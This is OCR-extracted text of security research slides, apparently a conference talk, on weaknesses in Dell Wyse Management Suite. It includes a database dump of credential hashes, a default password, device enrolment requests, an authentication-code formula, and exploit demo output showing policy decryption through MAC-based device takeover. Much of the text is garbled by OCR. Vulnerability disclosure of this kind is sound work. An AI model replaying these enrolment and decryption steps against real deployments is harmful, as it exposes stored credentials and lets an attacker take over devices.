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Background

p fabx 1127 AM
o
s yop

&' Alain 11:27 AM

L fabx 11:27 AM
u fahxj|1:27AM o
“hoe s guestion g
Alain 11:27 AM
tu sais si les mdp que tu recup dans une config de WMS c'est chiffré ? yep
et si oui si il y 2 moyen de les dechiffrer fabx 11:27 AM
J'ai setup un proxy sur un des thin client et j‘ai recup la config envoyer par le servet  question @
et visiblement j'ai un truc trés interessant dedans @ Do you know if the passwords you retrieve in a WMS config are encrypted?
Alain 1128 AM And if so, is there a way to decrypt them?
je ne sais méme as ce que ‘est wms :p I set up a proxy on one of the thin clients and retrieved the config sent by the WMS server,
fabx 11:29 AM and apparently, | found something very interesting in it @
F® o shit
B Alain 11:28 AM
bon ben je vais chercher 9 | don't even know what WMS is :p
fabx 11:29 AM
ah shit

well, | guess I'll go look it up &
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Background

Virtual Tour Benefits

COMPLETE YOUR THIN CLIENT SOLUTION

Wyse Management Suite is a secure hybrid cloud
management solution for Dell Thin Clients.

il Q

Wyse Management Suite Wyse Management Suite Pro

Sta n d a l’d Gain instgnt control with zgro installation time*. Wyse ngagement Suite
Pro in public cloud comes with ProSupport for Software giving you peace of
Improve your productivity and enjoy streamlined deployment and mind knowing our team of technicians are available when you need them
mantenance with this free, on-premises management tool for small
deployments.

Download Free Trlal
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Background

Virtual Tour

COMPLETE YOUR THIN CLIENT.SOLUTION

Wyse Management Suite is & secure hybrid cloud
management solution for Dell Thin Clients.

Wyse 3040
-/
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gPro
ement Suite

¥ou peace of
fneed them

Download Free Trlal
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Wyse Management Suite

Software can be downloaded from Dell’s site @

WMS Version 4.4.1 (latest at the time) Dell Management Portal
Java Web Application runs on a Tomcat server

MySQL database
Mongo database
MQTT queue
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What can be configured?

Depending on the type of client, many things can be configured
* Firmwares

= Applications and packages to deploy

= Configuration options

14
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Setting goals

1. Decrypt policy data

2. Recover all policies

3. Compromise a device
4. Compromise the server

15
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WMS Post-Setup exploration

Peak into the MariaDB database
List the users

MariaDB [stratus]> select tenant_id,id,isactive,isdefault,ismanaged,isroot,loginname,password,registrationpassword from person;
ERROR 2006 (HY®8®): Server has gone away
No connection. Trying to reconnect...

Connection id:
Current database: stratus

R
| tenant_id
PR
| 1
| 1
| 1
| 1
| 1
| 1
| 2
| 2
| 2
| 2
P

® WONO U AWK

=

+
|
+
|
|
|
|
|
|
|
|
|
|
+

734

10 rows in set (0.825 sec)

MariaDB [stratus]>
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o e e e e e e e e e

........ e, O R
isroot | loginname | password
________ S
@ | SystemUser@l.l | ewQogGL464mCTe07RUGFXQ== |
1 |"defaultuser.1.2 NULL
1 | stratusoperator@wyse.com | NULL
‘a R S L) LI TIN)
@ | mobileadmin@wyse.com ZmZtSjMIyUmBBSsOxfOeueA== l
@ I <svctemadmin@wves. com T T
@ | SystemUser@2.6 27:ca5ceellf34f06eb246f8a4edSate’ad5e6194c988bb38d1149a2207ec4763d/dale2fa2clbac4d0c3806149893dc69400484285d7 c9ddb3f6bet
1 [“detaultuser. 2.7 NULL
1 | defaultuser.2.8 NULL
@ | alain@scrt.ch 27:fef4b58339635423ec632e287cb4a7b521ac3f5e1d9951312aaf35027d8eb476d424ee8a481d2b73073e5a54334ff6ffbacec563c371fccflacad!
________ Bm m m m o e
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WMS Post-Setup exploration

Peak into the MariaDB database
List the users

MariaDB [stratus]> select tenant_id,id,isactive,isdefault,ismanaged,isroot,loginname,password,registrationpassword from person;

ERROR 2006 (HY®8®): Server has gone away

No connection. Trying to reconnect...
Connection id:
Current database:

R
| tenant_id

=

-
|
+
|
|
|
|
|
|
|
|
|
|
+

734

stratus

10 rows in set (0.825 sec)

MariaDB [stratus]>
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A e 5

e Sp—

SystemUser@l.l

defaultuser.1.2

stratusoperator@wyse. com
5

A AT o e a

mobileadmin@wyse.com
svetemadminfuvse. com
SystemUser@2.6
detaultuser.2.7
defaultuser.2.8
alain@scrt.ch

OwQogGL464mC Teo7RUGFXQ==
NUCC
NULL

(XTI

ZmZtSjMIyUmBBSsOxfOeueA==

NUT T
27:ca5ceel@f34f06eb246F8atedSate7ad5e6194c988bb38d1F49a2207ec4A763d7dale2fa2c0bac4dOc3800F49893dCc69400484285d7 c9ddb3febet
NULL

NULL
27:fef4b58339635423ec632e287cb4a7b521ac3f5e1d9951312aaf35027d8eb476d424ee8a481d2b73073e5a54334ff6ffbacec563c371fccflacad!

changeithow
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Default credentials

Allows you to login!

18
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Default credentials

Allows you to login!

But the accounts are not assigned to any groups, so you
can’t actually access anything

Remains somewhat suspicious

19
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WMS Post-Setup exploration

Installed Wyse Device Agent (WDA) on a
Windows virtual machine

Enrolled the device in WMS

Configured some policies to be applied to the
device

Intercepted communications
Reproduced my colleague's findings
Certain values are encrypted

= Passwords

"target0os"
“"configName"
“configltems™

"itemKey™"

"itemValue"”
"itemValueE
"valueType"”

"itemKey"

"itemValue"
"itemvalueE
"valueType"

"itemKey"
"itemvalue™

centralConfiguration”,

"fileServer"”,
'sdDSA"

xtra" )
"STRING"

"fileServerUser",
'dsaDSA"

xtra" 11,
'STRING"

"fileServerPass ,
"TUr1nwMjpMdvjSbTGwuQP1aRqarBDZwd41LXCB51wFBZT+s0K366pC1ZPWX+4Inv"

"itemValueExtra'

"valueType"

"itamKey"
"itemvalue"”

'STRING"

"enableDelayedUpdate”,

"Yes",

"itemValueExtra"

"valueType”

Orange Restricted
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Encryption analysis

{
.sessionDataHolder.getCurrentSessionbData();
session.getDeviceEnckey();
session.getTenantEnckey();

AESCBCEncryptionutil.decryptwithAESCBC(value, tenantEncKey,

AESEncryptionuUtil.EncodingScheme.BASE64);

newvalue = AESCBCEncryptionUtil.encryptwithAESCBC(newvalue, deviceEncKey,
AESEncryptionuUtil.EncodingScheme.BASE64);
newvalue;
}

21
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Attack surface exploration

Most of the endpoints exposed by the Java application require authentication
No obvious authentication bypass

WMS allows devices to enrol themselves

Must know where the WMS server is

Must know the identifier of a device group you want to join (or join the default group)
= Semi-random string

Needs to be validated by an administrator (by default, but can be disabled)

Enrolled devices can call more endpoints
Even if they have not been accepted into a group yet
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Enrolment process

Request Response
Pretty Raw Hex Hackvertor nE wn = Pretty Raw Hex Render Hackvertor
1 POST fccm-web/open/deviceGrouplogin HTTP/1.1 1(HTTP/1.1 Z00
2 Device MAC: 00:0c:29:87:62:99 2 Set -Cookie: JSESSIONID=CBBEA3SAGDABDE32G0BE79A7FS16EF2BA5; Pe
3| Accept: application/json 3 Content -Security-Policy: script-src 'unsafe-eval' 'self' 'r
4 Content-Type: application/json 'sha256-kbHt QyYDQKz4SWMQB0HVo 1 3ECOt 3tHEIJFPCSWNGSNXQ="
5|User-Agent: Stratus /4.7.5.0 (WES 10.0.22631; en-CH; VMware7,1; 4 Strict-Transport-Security: max-age=31536000

Revision:14.6.9.21; cls:A) 5 X-Frame-Options: SAMEORIGIN
6| Host: 192.168.142.149:8080 5 X-Content -Type-0Options: nosniff
7 Content-Length: 17 7 X-XSS-Protection: 1; mode=block
8 Connection: keep.alive 8 X-Content -Type-Options: nosniff
9 9 Cache-Control: no-cache, no-store, max-age=0, must-revalide
Q{ 10 Pragma: no-cache

"groupToken®:"" 11 | Expires: Thu, @1 Jan 1970 00:00:00 GMT
} 12| vary: accept-encoding

13 Content -Type: application/json;charset=UTF-8
14 | Date: Thu, 23 Jan 2025 14:36:46 GMT

15 Keep-Alive: timeout=60

16 Connection: keep-alive

17 Content -Length: 1068

19 {
" id":null,
"createdAt":null,
"id":510868677),
"updatedAt " :null,
"isActive":true,
"dayNum":0,
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Enrolment process
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Enrolment process

Request
Pretty Raw Hex  Hackvertor BV n =

X-Stratus-date: 2025-01-21 14:49:00

Device MAC: 00:0c:29:87:62:84

X-Stratus-device-owner-id: 513004067

X-Stratus-device-id: wyseB8566241857117691387

X-Stratus-device-authentication-code:

RLaSdIeTinbCUOCQmdYJ7Bb2Cu7 1HQVRW3ZzWt qCXkt XKOETTBMNS0+Ss0V3GXeqPIYh

YeWH/UMgDm+N33GXox A==

T T

8|User-Agent: Stratus /4.7.5.0 (WES 10.0.22631; en-CH; VMware7,1;
Revision:14.6.9.21; cls:A)

9 Host: 192.168.142.149:8080

Response
Pretty Raw Hex Render Hackvertor

VONOOWL S WN -

HTTP/1.1 200

Cache-Control: private

Strict-Transport-Security: max-age=31536000

X-Frame-Options: SAMEORIGIN

X-Content -Type-Options: nosniff

X-XSS-Protection: 1; mode=block

Set-Cookie: JSESSIONID=02F27465A5AC34BD19CACE660FEBF7CD; Path=/ccm-web; Secure; HttpOnly; SameSite=Lax
X-Content -Type-Options: nosniff

Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache

Expires: Thu, 01 Jan 1970 ©0:00:00 GMT

Content -Type: application/json;charset=UTF-8

Content -Length: 44

Date: Tue, 21 Jan 2025 14:53:39 GMT

Keep-Alive: timeout=60

Connection: keep-alive

KYVKkyiHnDOeoCbEI 1XaBPOUBYgv4j L1FOCP/Sw2tuYo=

X-Stratus-device-authentication-code: base64(sha3_512(wyseid + date + authCode))
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Encryption key

Some additional reverse engineering shows that a call to getKey returns a NEW key for the device
Invalidates former key
= For the device that is specified in the URL

Can’t intercept an old encrypted value and decrypt with a newly generated key
Would need to extract the device’s key from the device itself

On Windows, this is found in a registry key accessible only to SYSTEM

= HKEY_LOCAL _MACHINE\SOFTWARE\Wyse\WDA

Have not searched where the key is located on other types of devices
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Get configuration (policies)
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Enrolment process weaknesses

2 weaknesses in the enrolment process
It is possible to leak all the existing “group tokens”

= Discover all existing groups and potentially join them (depending on automatic validation)
— 3’000 $ bounty!
— Can’t talk about this issue in details (more on this later)

If a previously known MAC address is specified during registration, you can overwrite the target device
= Recover all its policies
= Even if enrolment validation is enabled

31
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Policy decryption

If a valid device MAC address is known

= Register a new device with the MAC address
= Generate a new encryption key for the device
= Retrieve the device’s configuration

= Decrypt with the generated key

If no MAC address is known

= Leak all group tokens

Register a new device to each group [will require admin interaction by default]
Generate new encryption key

Retrieve configuration

Decrypt

32
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Exploit demo

coolzOr@nobody: S python3 get-fullconfig.py

[*] Attempting to register an unmanaged device

[+] Got unmanaged owner id : 7916447

[+] wyseId : wyse8566241857117691387

[+] Authcode : NPD+zGhBrvVLw73g+tUVGI93VwXrUcyTkQkRP2d14MZhpYSednSMi2aboL186d091Qj4BGW2ARS jQK19111pzeQ==
[*] Attempting to get groupToken for group ID 1

[+] Got group authToken : defa).hvm63P

[ '] Register new managed device

[+] ownerid : 579101977

[+] wyseId : wyse8566241857117691387

[+] Authcode : tQctu3alKNeHdRYmmi8radBCOUtlveGbvYBFdczwddtRw6ROK300DT7yLxz06G9n4t25gdoQdFBal3gXQCschMw==
[*] Get device encryption key

[+] Device Key : Q3je5QJawkIK/q30RBjS52vASRTK34jqV73TZ/iHXPV8=

[*] Get device config
b'[{"url”:"C:\\\\WMS\\\\LocalRepo/wms-repo","isCaValidationOn":false,"subnets":null}]’

[+] Found the following repositories

[+] [{'url': 'C:\\WMS\\LocalRepo/wms-repo', 'isCaValidationOn': False, 'subnets': None}]
b'{"deviceElements":null, "pendingWaveCommandInfo" :null, "deviceElementsv2":null, "configSettings":null, "fullConfiguration":false,’
0, "passcodeProfileDescription” :null, "deviceQueryId":null, "deviceQueryStatus":null,"configurations”:{"contentProvider":null, "desc
e":"JSON"}],"contentVersion":null},{"target0S":null, "configName":"centralConfiquration","configIitems":[{"itemKey":"fileServer"

6pCLZPWX+4Inv" , "itemValueExtra":null,"valueType":"STRING"},{"itemKey":"enableDelayedUpdate”, "itemValue"” :"Yes",6 "itemValueExtra":r
ord”,"itemValue”:"","itemValueExtra":null,"valueType":"STRING"},{"itemKey":"delayedUpdateMode","itemValue":"Image and Add-ons",
ceBaseSystemUpgrade”,"itemValue":"No","itemValueExtra":null,"valueType":"BOOL"}],"contentVersion":"2.6.0"}]},"allowUnregistratic

web" ."heartbeatIntervalInMins”:0."checkInIntervalInHours":0."aroupToken":null, "personalDeviceSettings":null."wmsVersion":"4.9.5'

33
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Setting goals

® Decrypt policy data

® Recover all policies

3. Compromise a device
4. Compromise the server
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Device Types

The solution supports various device types

A device signals its type during registration
Any type can be specified here
As long as the license supports it
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